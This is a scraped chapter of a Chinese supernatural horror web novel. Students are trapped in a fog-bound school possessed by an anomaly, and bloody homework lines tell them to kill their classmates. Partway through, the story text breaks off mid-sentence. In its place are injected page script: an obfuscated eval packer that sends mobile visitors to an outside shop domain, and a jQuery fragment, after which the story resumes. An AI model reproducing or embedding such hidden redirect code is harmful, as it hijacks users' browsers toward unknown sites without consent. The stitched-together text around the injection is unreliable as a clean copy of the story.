文趣网 > 其他小说 > 人外异端也要演一集吗? > 13. “我们是要早恋吗?”
    放学铃终于响了。

    窗外的天色黑得不正常,操场、教学楼、草坪和水泥地,全都泡在灰白色的雾里,路灯的光也雾蒙蒙的。

    大家收拾东西。

    校园广播沙沙地响起来,噪音刺耳,时不时夹杂着尖锐的电流声。

    接着,一个机械的女声开始广播:

    “请所有人/人//人……滋啦、滋啦、有、有序——离/离//离……离开……学校……”

    声音开始卡顿,拖长,然后又自己接上。

    “不要……离开……学校……”

    陈双梦感觉有点不对,扭头看向楚珩:“你有没有感觉太安静了?”

    明明是最热闹的放学时间,但是外面本该有的吵闹声、脚步声全都听不见了。就仿佛整座学校只剩这一间教室。

    楚珩笑眯眯:“我们出去看看?”

    陈双梦点头。

    两人走到隔壁的三班。他们班的灯还亮着,但是已经没人了,只有多媒体上的屏幕定格在教室后排视角,一个个漆黑的头颅背对屏幕。

    耿向晨路过,也探头往里面看了一眼,奇怪道:“他们班怎么不关多媒体啊?”

    陈双梦:“你确定问题出在这儿吗?”

    耿向晨挠挠头,恍然大悟地说:“他们班咋走这么快啊。”

    陈双梦:“……”

    她扭过头,满脸严肃地对楚珩说:“我怀疑耿向晨不对劲,这么明显的异常他都看不到。”

    楚珩心说就你还好意思怀疑别人呢,最不对劲的就是你。

    他笑:“那你觉得该怎么办?”

    陈双梦努力想了想,第一次如此有自信地从容道:“学校发生了这么诡异的事,大家赶紧离开,明天先别来了。”

    说完她都快要给自己鼓掌了,原来她也能说出这么合情合理颇具人味的人话。

    这话被众同学听到,有人立刻反驳:“快高考了,怎么能不来上学呢?”

    “对啊,好端端又没发生什么事,干嘛不来上课。”

    “明天当然要来啊,陈双梦你不让我们来是什么意思,你好奇怪啊。”

    陈双梦:“?”

    不对不对,不是这样的!你们应该夸我是高智商主角,是恐怖片最冷静之人,最能看出不对之人。

    楚珩背在靠栏杆上,懒洋洋地笑。

    果然,人生最重要的事情是高考吗,发生了这么多诡异的事,居然没有学生觉得不该来上课。

    你们这些上学的,好有信念感。

    广播里那道机械女声还在一卡一卡地播报着:

    “滋啦、滋啦……所有人/人//人……滋啦……不要——离/离///开……学校…”

    “学校/很/很//安——安——全——”

    楚珩偏过脸向楼下望去。

    雾气浓得像一锅滚开的灰浆,两两三三的学生淹没在雾里,像被无声的潮水吞没,正在往校门口走。

    陈双梦站在他旁边,趴在栏杆好奇地往下望。

    楚珩说:“他们走不了了。”

    陈双梦:“为什么?”

    楚珩笑:“因为柏兰公学啊。”

    【堺-08——柏兰公学】

    “堺”是高危五级的异端,是一种带有自我法则的封闭边界,多种中低阶异端在它的领域内共生、嵌套、区域化,渐渐形成一套独特的秩序与法则。

    因此,堺级异端内部异端密度极高,种类复杂,且彼此之间往往形成缠绕群共生关系,处理难度成倍增加。

    柏兰公学是目前已知最大的堺级异端。原身也确实是帝都北区的一所老牌私立学校。百年来培养了数不清的上流人士。

    无论政界、商界、学术圈、文娱产业……都有柏兰公学输送的社会精英。

    那些人在最好的年纪入学,或多或少都受到了异端侵蚀。

    这是件极严重的事。因为没人知道异端什么时候入侵,也没人知道学生被侵蚀到什么程度。等发觉不对时,一批批学生已经成材,成为人类社会最顶层的一部分。

    异端处理局想要暗中调查,遇到的阻力和危险都不计其数。

    直到楚珩入学。

    十四岁的楚珩,正是破坏欲最强的时候。他聪明,冷漠,又生着一张极能骗人的脸。几乎无人发觉他的本性。

    他在柏兰公学如鱼得水,肆无忌惮,远比外面更自由。

    异端处理局介入调查后,他为了好玩,也参与其中。

    他像一个懂行的向导,带着一群外人,在自己最熟悉的猎场里打猎。

    殊不知,外人也是他逗弄的猎物。

    两年后,楚珩毕业,柏兰公学被封存。楚珩也由此成为异端局的一员。

    楚珩觉得很有意思,异端处理局竟把他这样的人看做一把可信任的刀。

    于是他也就装模作样应了下来。

    他有意识地收敛性子,渐渐成为异端局最年轻的特聘队长。二十出头,清冷沉稳,履历干净漂亮,能力有目共睹。

    不过那都是之后的事了。

    现在这个十六岁的楚珩,是当年留下来的影子。

    当年【柏兰公学】并未被收容,因为它本体为领域型存在,无法以常规物理手段收容,便采用“边界内折”方案,封存在原址。

    封存完成后,堺-08进入近乎静默的低活性状态,对外表现为一所废弃的空校。由异端处理局封控部派人常驻看守。

    自从深桂市出现高浓度异常信号后,堺-08便表现出主动位移的意图。

    它花费了封存后积蓄的大部分能量,悄无声息地跨越三千里,从帝都来到深桂市。

    它套上振阳一高的壳,由“振阳市第一高级中学”改为“柏兰一高”。

    它为陈双梦而来。

    ——但这些,楚珩没有讲给陈双梦听。

    往楼下望去,可以看到那些同学在雾中迷失了方向,表情迷惚地折回教学楼。

    楚珩牵起陈双梦的手,往教室走去。

    陈双梦都没反应过来,懵懵地就被他牵走了。

    人类手掌的温度温凉有力,双梦的手指动了动,感受着皮肉亲昵相接的新奇触感,她后知后觉地抬头看他,眼睛睁得圆圆的:“我们是要早恋吗?”

    楚珩脚步顿了顿,刚要说话,就感受到胸腔传来一股冰凉的躁意——外面的那个自己又在无能狂怒了。

    少年置之不理。面不改色地望着双梦,声音温柔清澈:“你想早恋吗?”

    陈双梦想了想,犹犹豫豫地摇摇头:“不了吧,我要高考呢。”

    “?”楚珩沉默了一下,语调平平,“哦,高考加油。”

    两人回到了教室。

    陈双梦低头乖乖写作业,楚珩托着腮,目不转睛地望着她。

    从小楚珩就知道自己是特殊的,世间的一切对他而言触手可得,却也无趣至极。

    血管里汩汩流淌着属于人类的血液,如荆棘一般刺痛,让他躁动不安。心脏沉在漆黑的渊底,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842835|211555||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阴暗、腐朽,污浊,风空洞地呼啸而过。

    直到遇见祂。

    她可爱死了,就这样懵懵地,乖乖地伪装成一个学生。什么都不知道,甚至自己都认知不到自己的异常。

    这个样子可爱,任何样子都好可爱。

    喜欢。

    好喜欢。

    不是人类的荷尔蒙作祟,而是一种汹涌而至的、近乎执念的、甘愿奉出一切的喜欢。

    目眩神迷,心向往之。

    陈双梦写字的沙沙声停了一下,迷惘地蹙了蹙眉。

    好奇怪,新同桌怎么一直在看她。

    -

    班级同学陆陆续续回到了教室。

    室外浓雾翻涌,似乎被什么隔绝,暂时没有漫进来。

    众人惊恐不安地坐回原位,眼睛发直,肩膀微微发抖,谁也没说话。

    方桉然承担起班长职责,站上讲台,重新数了一遍班级人数,一颗心沉到谷底。

    不对劲。

    人数不对劲。

    加上新转来的同学,班级一共五十一人。

    除去一个已知姓名的失踪者杨柳依依,两个未知姓名的失踪者,还有一个请假缺席的周盈。班里应该有四十七个活人。

    但现在,班里坐着五十人。

    方桉然忽然记起了晚自习看的电影,班里也是五十人。

    他毛骨悚然,细细密密的凉意从脚底一路窜到后脑,起了一身的鸡皮疙瘩。他强迫自己冷静,一个个看过去。

    直到看到程思远。

    他正低头写着作业,安安静静,和所有同学没什么区别。只不过他面色青白,嘴唇乌紫,呼吸时胸口没有半分起伏。

    方桉然的脑子轰的一声炸了。

    他想起来了。

    程思远早就已经跳楼死了。

    现在坐在那里的,是一个死人。

    这个认知在方桉然脑里炸开,这些天发生种种诡异事情一窝蜂地涌进他脑子——花坛里的血尸、每天失踪的同学、跑操的方队、静默的电影镜头……

    从前没察觉的时候,仿佛还能蒙蔽内心,稀里糊涂过下去。可是一旦撕开一道口子,所有熟视无睹的细节都露出了诡异的森森底色,恐惧像潮水一样漫上来,堵得人喘不过气。

    方桉然后背已经被冷汗浸透,死死咬着牙才没叫出声。

    滋啦、滋啦——

    耳边突然响起沙沙的电流声。校园广播再度响了,机械扁平的电子女音没有一丝起伏。

    “请全体同学………回到……教室……保持……安静,遵守——滋啦——遵守——遵守教室……纪律。”

    “遵守……纪律。”

    方桉然扶着讲台的手在抖,心里只有一个念头,不能再这么下去了。

    他低头快步走下讲台,走到陈双梦身边,

    不知道为何,他信任她。

    陈双梦正撑着下巴望着黑板。方桉然愣了愣,顺着她的视线看过去,看到了黑板上板书的作业。

    【高三(2)班4月14日作业】

    1.完成语文模拟卷(四)

    2.订正数学错题(明日上交)

    3.完成去年的英语高考真题

    4.完成物理配套复习资料P132-139

    5.杀掉你的同学。

    6.杀掉你的同学。

    7.杀掉你的同学。

    后三行的血红字迹还带着点湿润,正顺着黑板往下,慢慢蜿蜒出暗红色的痕。